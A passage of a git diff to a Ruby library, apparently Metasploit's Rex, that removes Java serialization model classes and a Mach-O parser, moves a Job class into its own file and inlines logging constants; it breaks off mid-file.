a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb deleted file mode 100644 index b7b98a307b..0000000000 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ /dev/null @@ -1,154 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a newClassDesc representation - class NewClassDesc < Element - - include Rex::Java::Serialization - - # @!attribute class_name - # @return [Rex::Java::Serialization::Model::Utf] The name of the class - attr_accessor :class_name - # @!attribute serial_version - # @return [Fixnum] The java class serial version - attr_accessor :serial_version - # @!attribute flags - # @return [Fixnum] The java class flags - attr_accessor :flags - # @!attribute fields - # @return [Array] The java class fields - attr_accessor :fields - # @!attribute class_annotation - # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations - attr_accessor :class_annotation - # @!attribute super_class - # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description - attr_accessor :super_class - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.class_name = nil - self.serial_version = 0 - self.flags = 0 - self.fields = [] - self.class_annotation = nil - self.super_class = nil - end - - # Deserializes a Rex::Java::Serialization::Model::NewClassDesc - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.class_name = Utf.decode(io, stream) - self.serial_version = decode_serial_version(io) - stream.add_reference(self) unless stream.nil? - self.flags = decode_flags(io) - fields_length = decode_fields_length(io) - fields_length.times do - field = Field.decode(io, stream) - self.fields << field - end - - self.class_annotation = Annotation.decode(io, stream) - self.super_class = ClassDesc.decode(io, stream) - - self - end - - # Serializes the Rex::Java::Serialization::Model::ClassDescription - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_name.class == Rex::Java::Serialization::Model::Utf || - class_annotation.class == Rex::Java::Serialization::Model::Annotation || - super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc' - end - encoded = '' - encoded << class_name.encode - encoded << [serial_version].pack('q>') - encoded << [flags].pack('C') - encoded << [fields.length].pack('n') - fields.each do |field| - encoded << field.encode - end - encoded << class_annotation.encode - encoded << super_class.encode - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "#{class_name}, [ " - fields_str = [] - fields.each do |field| - fields_str << field.to_s - end - str << "#{fields_str.join(', ')} ]" - - case super_class.description - when NewClassDesc - str << ", @super_class: #{super_class.description.class_name.to_s}" - when Reference - str << ", @super_class: #{super_class.description.to_s}" - end - - str - end - - private - - # Deserializes a class serial version - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_serial_version(io) - raw_serial = io.read(8) - if raw_serial.nil? || raw_serial.length != 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' - end - - raw_serial.unpack('Q>')[0] - end - - # Deserializes a class flags - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization is possible - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_flags(io) - raw_flags = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? - - raw_flags.unpack('C')[0] - end - - # Deserializes a class fields length - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization is possible - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_fields_length(io) - fields_length = io.read(2) - if fields_length.nil? || fields_length.length != 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' - end - - fields_length.unpack('n')[0] - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_enum.rb b/lib/rex/java/serialization/model/new_enum.rb deleted file mode 100644 index 89c700c7a7..0000000000 --- a/lib/rex/java/serialization/model/new_enum.rb +++ /dev/null @@ -1,79 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewEnum (Java Enum) representation - class NewEnum < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute enum_description - # @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum - attr_accessor :enum_description - # @!attribute constant_name - # @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum - attr_accessor :constant_name - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.enum_description = nil - self.constant_name = nil - end - - # Deserializes a Rex::Java::Serialization::Model::NewEnum - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.enum_description = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - self.constant_name = decode_constant_name(io) - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewEnum - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless enum_description.kind_of?(ClassDesc) && - constant_name.kind_of?(Utf) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription' - end - - encoded = '' - encoded << enum_description.encode - encoded << encode_content(constant_name) - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - constant_name.to_s - end - - private - - # Deserializes the NewEnum constant name - # - # @param io [IO] the io to read from - # @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed - def decode_constant_name(io) - content = decode_content(io, stream) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) - - content - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb deleted file mode 100644 index 288dfd00e4..0000000000 --- a/lib/rex/java/serialization/model/new_object.rb +++ /dev/null @@ -1,235 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewObject (Java Object) representation - class NewObject < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute class_desc - # @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object - attr_accessor :class_desc - # @!attribute class_data - # @return [Array] The data of the object - attr_accessor :class_data - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.class_desc = nil - self.class_data = [] - end - - # Deserializes a Rex::Java::Serialization::Model::NewObject - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.class_desc = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - - case class_desc.description - when NewClassDesc - self.class_data = decode_class_data(io, class_desc.description) - when Reference - ref = class_desc.description.handle - BASE_WIRE_HANDLE - self.class_data = decode_class_data(io, stream.references[ref]) - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewObject - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_desc.kind_of?(ClassDesc) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject' - end - - encoded = '' - encoded << class_desc.encode - - class_data.each do |value| - if value.kind_of?(Array) - encoded << encode_value(value) - else - encoded << encode_content(value) - end - end - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = '' - - case class_desc.description - when NewClassDesc - str << class_desc.description.class_name.to_s - when ProxyClassDesc - str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',') - when Reference - str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16) - end - - str << ' => { ' - data_str = class_data.collect { |data| data.to_s } - str << data_str.join(', ') - str << ' }' - - str - end - - private - - # Deserializes the class_data for a class_desc and its super classes - # - # @param io [IO] the io to read from - # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted - # @return [Array] class_data values if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_class_data(io, my_class_desc) - values = [] - - unless my_class_desc.super_class.description.class == NullReference - if my_class_desc.super_class.description.class == Reference - ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE - values += decode_class_data(io, stream.references[ref]) - else - values += decode_class_data(io, my_class_desc.super_class.description) - end - end - - values += decode_class_fields(io, my_class_desc) - - values - end - - # Deserializes the fields data for a class_desc - # - # @param io [IO] the io to read from - # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted - # @return [Array] class_data values if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_class_fields(io, my_class_desc) - values = [] - - my_class_desc.fields.each do |field| - if field.is_primitive? - values << decode_value(io, field.type) - else - content = decode_content(io, stream) - values << content - end - end - - values - end - - # Deserializes a class_data value - # - # @param io [IO] the io to read from - # @param type [String] the type of the value to deserialize - # @return [Array(String, )] type and value if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails - def decode_value(io, type) - value = [] - - case type - when 'byte' - value_raw = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? - value.push('byte', value_raw.unpack('c')[0]) - when 'char' - value_raw = io.read(2) - unless value_raw && value_raw.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('char', value_raw.unpack('s>')[0]) - when 'double' - value_raw = io.read(8) - unless value_raw && value_raw.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('double', value = value_raw.unpack('G')[0]) - when 'float' - value_raw = io.read(4) - unless value_raw && value_raw.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('float', value_raw.unpack('g')[0]) - when 'int' - value_raw = io.read(4) - unless value_raw && value_raw.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('int', value_raw.unpack('l>')[0]) - when 'long' - value_raw = io.read(8) - unless value_raw && value_raw.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('long', value_raw.unpack('q>')[0]) - when 'short' - value_raw = io.read(2) - unless value_raw && value_raw.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('short', value_raw.unpack('s>')[0]) - when 'boolean' - value_raw = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? - value.push('boolean', value_raw.unpack('c')[0]) - else - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type' - end - - value - end - - # Serializes an class_data value - # - # @param value [Array] the type and value to serialize - # @return [String] the serialized value - # @raise [Rex::Java::Serialization::EncodeError] if serialization fails - def encode_value(value) - res = '' - - case value[0] - when 'byte' - res = [value[1]].pack('c') - when 'char' - res = [value[1]].pack('s>') - when 'double' - res = [value[1]].pack('G') - when 'float' - res = [value[1]].pack('g') - when 'int' - res = [value[1]].pack('l>') - when 'long' - res = [value[1]].pack('q>') - when 'short' - res = [value[1]].pack('s>') - when 'boolean' - res = [value[1]].pack('c') - else - raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type' - end - - res - end - - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/null_reference.rb b/lib/rex/java/serialization/model/null_reference.rb deleted file mode 100644 index ac5b664697..0000000000 --- a/lib/rex/java/serialization/model/null_reference.rb +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class NullReference < Element - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb deleted file mode 100644 index 702790b9e3..0000000000 --- a/lib/rex/java/serialization/model/proxy_class_desc.rb +++ /dev/null @@ -1,109 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a ProxyClassDesc representation - class ProxyClassDesc < Element - - include Rex::Java::Serialization - - # @!attribute interfaces - # @return [Array] An array of interface names - attr_accessor :interfaces - # @!attribute class_annotation - # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations - attr_accessor :class_annotation - # @!attribute super_class - # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description - attr_accessor :super_class - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.interfaces = [] - self.class_annotation = nil - self.super_class = nil - end - - # Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - stream.add_reference(self) unless stream.nil? - - interfaces_length = decode_interfaces_length(io) - interfaces_length.times do - interface = Utf.decode(io, stream) - self.interfaces << interface - end - self.class_annotation = Annotation.decode(io, stream) - self.super_class = ClassDesc.decode(io, stream) - - self - end - - # Serializes the Rex::Java::Serialization::Model::ProxyClassDesc - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || - super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc' - end - encoded = '' - encoded << [interfaces.length].pack('N') - interfaces.each do |interface| - encoded << interface.encode - end - encoded << class_annotation.encode - encoded << super_class.encode - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = '[ ' - interfaces_str = [] - interfaces.each do |interface| - interfaces_str << interface.to_s - end - str << "#{interfaces_str.join(', ')} ]" - - case super_class.description - when NewClassDesc - str << ", @super_class: #{super_class.description.class_name.to_s}" - when Reference - str << ", @super_class: #{super_class.description.to_s}" - end - - str - end - - private - - # Deserializes the number of interface names - # - # @param io [IO] the io to read from - # @return [Fixnum] if deserialization is possible - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_interfaces_length(io) - fields_length = io.read(4) - if fields_length.nil? || fields_length.length != 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc' - end - - fields_length.unpack('N')[0] - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/reference.rb b/lib/rex/java/serialization/model/reference.rb deleted file mode 100644 index 3e8b27ca2f..0000000000 --- a/lib/rex/java/serialization/model/reference.rb +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Java Reference representation. - class Reference < Element - - # @!attribute contents - # @return [Fixnum] The stream handle being referenced - attr_accessor :handle - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.handle = 0 - end - - # Deserializes a Rex::Java::Serialization::Model::Reference - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - handle_raw = io.read(4) - unless handle_raw && handle_raw.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference' - end - - self.handle = handle_raw.unpack('N')[0] - - self - end - - # Serializes the Rex::Java::Serialization::Model::Reference - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - if handle < BASE_WIRE_HANDLE - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference' - end - - encoded = '' - encoded << [handle].pack('N') - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - "0x#{handle.to_s(16)}" - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/reset.rb b/lib/rex/java/serialization/model/reset.rb deleted file mode 100644 index 1de36756bf..0000000000 --- a/lib/rex/java/serialization/model/reset.rb +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class Reset < Element - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/stream.rb b/lib/rex/java/serialization/model/stream.rb deleted file mode 100644 index d01edd2bb2..0000000000 --- a/lib/rex/java/serialization/model/stream.rb +++ /dev/null @@ -1,123 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Java Stream representation - class Stream < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute magic - # @return [Fixnum] The stream signature - attr_accessor :magic - # @!attribute version - # @return [Fixnum] The stream version - attr_accessor :version - # @!attribute contents - # @return [Array] The stream contents - attr_accessor :contents - # @!attribute references - # @return [Array] The stream objects to be referenced through handles - attr_accessor :references - - def initialize(stream = nil) - super(nil) - self.magic = STREAM_MAGIC - self.version = STREAM_VERSION - self.contents = [] - self.references = [] - end - - # Deserializes a Rex::Java::Serialization::Model::Stream - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.magic = decode_magic(io) - self.version = decode_version(io) - - until io.eof? - content = decode_content(io, self) - self.contents << content - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Stream - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - encoded = '' - encoded << [magic].pack('n') - encoded << [version].pack('n') - contents.each do |content| - encoded << encode_content(content) - end - encoded - end - - # Adds an element to the references array - # - # @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst - def add_reference(ref) - self.references.push(ref) - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "@magic: 0x#{magic.to_s(16)}\n" - str << "@version: #{version}\n" - str << "@contents: [\n" - contents.each do |content| - str << " #{print_content(content)}\n" - end - str << "]\n" - str << "@references: [\n" - references.each do |ref| - str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n" - end - str << "]\n" - end - - private - - # Deserializes the magic stream value - # - # @param io [IO] the io to read from - # @return [String] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_magic(io) - magic = io.read(2) - - unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' - end - - STREAM_MAGIC - end - - # Deserializes the version stream - # - # @param io [IO] the io to read from - # @return [Fixnum] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_version(io) - version = io.read(2) - unless version && version.unpack('n')[0] == STREAM_VERSION - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' - end - - STREAM_VERSION - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/utf.rb b/lib/rex/java/serialization/model/utf.rb deleted file mode 100644 index 72a58dc139..0000000000 --- a/lib/rex/java/serialization/model/utf.rb +++ /dev/null @@ -1,69 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Utf string representation - class Utf < Element - - # @!attribute length - # @return [Integer] the length of the string - attr_accessor :length - # @!attribute contents - # @return [String] the contents of the string - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - # @param contents [String] the contents of the utf string - def initialize(stream = nil, contents = '') - super(stream) - self.contents = contents - self.length = contents.length - end - - # Deserializes a Rex::Java::Serialization::Model::Utf - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(2) - if raw_length.nil? || raw_length.length != 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' - end - self.length = raw_length.unpack('n')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' - end - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Utf - # - # @return [String] - def encode - encoded = [length].pack('n') - encoded << contents - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - contents - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/job.rb b/lib/rex/job.rb new file mode 100644 index 0000000000..23c5a464a9 --- /dev/null +++ b/lib/rex/job.rb @@ -0,0 +1,98 @@ +# -*- coding: binary -*- +module Rex + +### +# +# This class is the concrete representation of an abstract job. +# +### +class Job + + # + # Creates an individual job instance and initializes it with the supplied + # parameters. + # + def initialize(container, jid, name, ctx, run_proc, clean_proc) + self.container = container + self.jid = jid + self.name = name + self.run_proc = run_proc + self.clean_proc = clean_proc + self.ctx = ctx + self.start_time = nil + end + + # + # Runs the job in the context of its own thread if the async flag is false. + # Otherwise, the job is run inline. + # + def start(async = false) + self.start_time = Time.now + if (async) + self.job_thread = Rex::ThreadFactory.spawn("JobID(#{jid})-#{name}", false) { + # Deschedule our thread momentarily + ::IO.select(nil, nil, nil, 0.01) + + begin + run_proc.call(ctx) + ensure + clean_proc.call(ctx) + container.remove_job(self) + end + } + else + begin + run_proc.call(ctx) + rescue ::Exception + container.stop_job(jid) + raise $! + end + end + end + + # + # Stops the job if it's currently running and calls its cleanup procedure + # + def stop + if (self.job_thread) + self.job_thread.kill + self.job_thread = nil + end + + clean_proc.call(ctx) if (clean_proc) + end + + # + # The name of the job. + # + attr_reader :name + + # + # The job identifier as assigned by the job container. + # + attr_reader :jid + + # + # The time at which this job was started. + # + attr_reader :start_time + + # + # Some job context. + # + attr_reader :ctx + +protected + + attr_writer :name #:nodoc: + attr_writer :jid #:nodoc: + attr_accessor :job_thread #:nodoc: + attr_accessor :container #:nodoc: + attr_accessor :run_proc #:nodoc: + attr_accessor :clean_proc #:nodoc: + attr_writer :ctx #:nodoc: + attr_writer :start_time #:nodoc: + +end + +end diff --git a/lib/rex/job_container.rb b/lib/rex/job_container.rb index f3cb957624..bd2c23cc63 100644 --- a/lib/rex/job_container.rb +++ b/lib/rex/job_container.rb @@ -1,99 +1,7 @@ # -*- coding: binary -*- module Rex -### -# -# This class is the concrete representation of an abstract job. -# -### -class Job - - # - # Creates an individual job instance and initializes it with the supplied - # parameters. - # - def initialize(container, jid, name, ctx, run_proc, clean_proc) - self.container = container - self.jid = jid - self.name = name - self.run_proc = run_proc - self.clean_proc = clean_proc - self.ctx = ctx - self.start_time = nil - end - - # - # Runs the job in the context of its own thread if the async flag is false. - # Otherwise, the job is run inline. - # - def start(async = false) - self.start_time = Time.now - if (async) - self.job_thread = Rex::ThreadFactory.spawn("JobID(#{jid})-#{name}", false) { - # Deschedule our thread momentarily - ::IO.select(nil, nil, nil, 0.01) - - begin - run_proc.call(ctx) - ensure - clean_proc.call(ctx) - container.remove_job(self) - end - } - else - begin - run_proc.call(ctx) - rescue ::Exception - container.stop_job(jid) - raise $! - end - end - end - - # - # Stops the job if it's currently running and calls its cleanup procedure - # - def stop - if (self.job_thread) - self.job_thread.kill - self.job_thread = nil - end - - clean_proc.call(ctx) if (clean_proc) - end - - # - # The name of the job. - # - attr_reader :name - - # - # The job identifier as assigned by the job container. - # - attr_reader :jid - - # - # The time at which this job was started. - # - attr_reader :start_time - - # - # Some job context. - # - attr_reader :ctx - -protected - - attr_writer :name #:nodoc: - attr_writer :jid #:nodoc: - attr_accessor :job_thread #:nodoc: - attr_accessor :container #:nodoc: - attr_accessor :run_proc #:nodoc: - attr_accessor :clean_proc #:nodoc: - attr_writer :ctx #:nodoc: - attr_writer :start_time #:nodoc: - -end +autoload :Job, 'rex/job' ### # diff --git a/lib/rex/logging.rb b/lib/rex/logging.rb index 114ded356c..14dea98227 100644 --- a/lib/rex/logging.rb +++ b/lib/rex/logging.rb @@ -1,4 +1,64 @@ # -*- coding: binary -*- -require 'rex/constants' # for LEV_'s +# +# Log severities +# +LOG_ERROR = 'error' +LOG_DEBUG = 'debug' +LOG_INFO = 'info' +LOG_WARN = 'warn' +LOG_RAW = 'raw' + +## +# +# Log levels +# +## + +# +# LEV_0 - Default +# +# This log level is the default log level if none is specified. It should be +# used when a log message should always be displayed when logging is enabled. +# Very few log messages should occur at this level aside from necessary +# information logging and error/warning logging. Debug logging at level zero +# is not advised. +# +LEV_0 = 0 + +# +# LEV_1 - Extra +# +# This log level should be used when extra information may be needed to +# understand the cause of an error or warning message or to get debugging +# information that might give clues as to why something is happening. This +# log level should be used only when information may be useful to understanding +# the behavior of something at a basic level. This log level should not be +# used in an exhaustively verbose fashion. +# +LEV_1 = 1 + +# +# LEV_2 - Verbose +# +# This log level should be used when verbose information may be needed to +# analyze the behavior of the framework. This should be the default log +# level for all detailed information not falling into LEV_0 or LEV_1. +# It is recommended that this log level be used by default if you are +# unsure. +# +LEV_2 = 2 + +# +# LEV_3 - Insanity +# +# This log level should contain very verbose information about the +# behavior of the framework, such as detailed information about variable +# states at certain phases including, but not limited to, loop iterations, +# function calls, and so on. This log level will rarely be displayed, +# but when it is the information provided should make it easy to analyze +# any problem. +# +LEV_3 = 3 + require 'rex/logging/log_dispatcher' diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index c58ef56d97..b412f91273 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -1,5 +1,4 @@ # -*- coding: binary -*- -require 'rex/constants' module Rex module Logging diff --git a/lib/rex/machparsey.rb b/lib/rex/machparsey.rb deleted file mode 100644 index 373b8b865b..0000000000 --- a/lib/rex/machparsey.rb +++ /dev/null @@ -1,9 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module MachParsey - -end -end - -require 'rex/machparsey/mach' diff --git a/lib/rex/machparsey/exceptions.rb b/lib/rex/machparsey/exceptions.rb deleted file mode 100644 index f7bbad9e41..0000000000 --- a/lib/rex/machparsey/exceptions.rb +++ /dev/null @@ -1,31 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module MachParsey - -class MachError < ::RuntimeError -end - -class MachParseError < MachError -end - -class MachHeaderError < MachParseError -end - -class ProgramHeaderError < MachParseError -end - -class BoundsError < MachError -end - -class FatError < ::RuntimeError -end - -class FatParseError < FatError -end - -class FatHeaderError < FatParseError -end - -end -end diff --git a/lib/rex/machparsey/mach.rb b/lib/rex/machparsey/mach.rb deleted file mode 100644 index 98a6117248..0000000000 --- a/lib/rex/machparsey/mach.rb +++ /dev/null @@ -1,209 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/machparsey/machbase' -require 'rex/machparsey/exceptions' -require 'rex/image_source' - -module Rex -module MachParsey - - -class Mach < MachBase - attr_accessor :mach_header, :segments, :isource, :bits, :endian, :arch, :fat_offset - - def initialize(isource, offset = 0, fat = false) - _parse_mach_header(isource, offset) - if fat == true - self.fat_offset = offset - else - self.fat_offset = 0 - end - - self.isource = isource - end - - def _parse_mach_header(isource, offset) - self.mach_header = MachHeader.new(isource.read(offset, MACH_HEADER_SIZE_64)) - bits = mach_header.bits - endian = mach_header.endian - ncmds = mach_header.ncmds - - if bits == BITS_32 - offset += MACH_HEADER_SIZE - else - offset += MACH_HEADER_SIZE_64 - end - - - segments = [] - ncmds.times do - load_command = LoadCommand.new(isource.read(offset, LOAD_COMMAND_SIZE), endian) - - case load_command.cmd - when LC_SEGMENT - segments << Segment.new(isource.read(offset, SEGMENT_COMMAND_SIZE), bits, endian) - when LC_SEGMENT_64 - segments << Segment.new(isource.read(offset, SEGMENT_COMMAND_SIZE_64), bits, endian) - end - - offset += load_command.cmdsize - end - - self.mach_header = mach_header - self.segments = segments - self.isource = isource - self.bits = bits - self.endian = endian - - return segments - end - - def self.new_from_file(filename, disk_backed = false) - - file = ::File.open(filename, "rb") - - if disk_backed - return self.new(ImageSource::Disk.new(file)) - else - obj = new_from_string(file.read) - file.close - return obj - end - end - - def self.new_from_string(data) - return self.new(ImageSource::Memory.new(data)) - end - - def ptr_64? - mach_header.bits == BITS_64 - end - - def ptr_32? - ptr_64? == false - end - - def ptr_s(vaddr) - (ptr_32?) ? ("0x%.8x" % vaddr) : ("0x%.16x" % vaddr) - end - - def read(offset, len) - isource.read(fat_offset + offset, len) - end - - def index(*args) - isource.index(*args) - end - - def close - isource.close - end - -end - -class Fat < FatBase - attr_accessor :fat_header, :fat_archs, :machos, :isource - - def initialize(isource, offset = 0) - self.fat_archs = [] - self.machos = [] - self.isource = isource - self.fat_header = FatHeader.new(isource.read(offset, FAT_HEADER_SIZE)) - - if !self.fat_header - raise FatHeaderError, "Could not parse FAT header" - end - - print "Detected " + self.fat_header.nfat_arch.to_s + " archs in binary.\n" - - offset += FAT_HEADER_SIZE - - self.fat_header.nfat_arch.times do - fat_arch = FatArch.new(isource.read(offset, FAT_ARCH_SIZE), self.fat_header.endian) - self.fat_archs << fat_arch - self.machos << Mach.new(isource, fat_arch.offset, true) - offset += FAT_ARCH_SIZE - end - - - end - - #this is useful for debugging but we don't use it for anything. - def _parse_fat_header(isource, offset) - archs = [] - nfat_arch = self.fat_header.nfat_arch - - print "Number of archs in binary: " + nfat_arch.to_s + "\n" - - nfat_arch.times do - arch = FatArch.new(isource.read(offset, FAT_ARCH_SIZE), self.endian) - - case arch.cpu_type - - when CPU_TYPE_I386 - print "i386\n" - - when CPU_TYPE_X86_64 - print "x86_64\n" - - when CPU_TYPE_ARM - print "Arm\n" - - when CPU_TYPE_POWERPC - print "Power PC\n" - - when CPU_TYPE_POWERPC64 - print "Power PC 64\n" - end - - offset += FAT_ARCH_SIZE - end - end - - def self.new_from_file(filename, disk_backed = false) - - file = 